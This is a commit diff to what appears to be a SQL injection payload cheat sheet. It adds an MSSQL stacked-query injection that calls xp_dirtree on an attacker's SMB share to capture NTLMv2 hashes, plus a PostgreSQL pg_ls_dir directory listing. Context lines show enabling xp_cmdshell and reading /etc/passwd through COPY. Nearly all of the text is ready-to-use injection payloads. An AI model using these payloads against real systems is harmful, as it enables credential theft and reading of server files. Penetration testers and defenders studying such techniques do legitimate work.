Jenkins Grrovy + MSSQL UNC + PostgreSQL list files

SQL injection/MSSQL Injection.md

@@ -137,6 +137,14 @@ EXEC sp_configure 'xp_cmdshell',1;
 RECONFIGURE;
 ```
 
+## MSSQL UNC Path
+
+MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
+
+```sql
+1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 
+```
+
 ## MSSQL Make user DBA (DB admin)
 
 ```sql

SQL injection/PostgreSQL Injection.md

@@ -26,9 +26,12 @@ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
 ## PostgreSQL File Read
 
 ```sql
+select pg_ls_dir('./');
 select pg_read_file('PG_VERSION', 0, 200);
 ```
 
+NOTE: ``pg_read_file` doesn't accept the `/` character.
+
 ```sql
 CREATE TABLE temp(t TEXT);
 COPY temp FROM '/etc/passwd';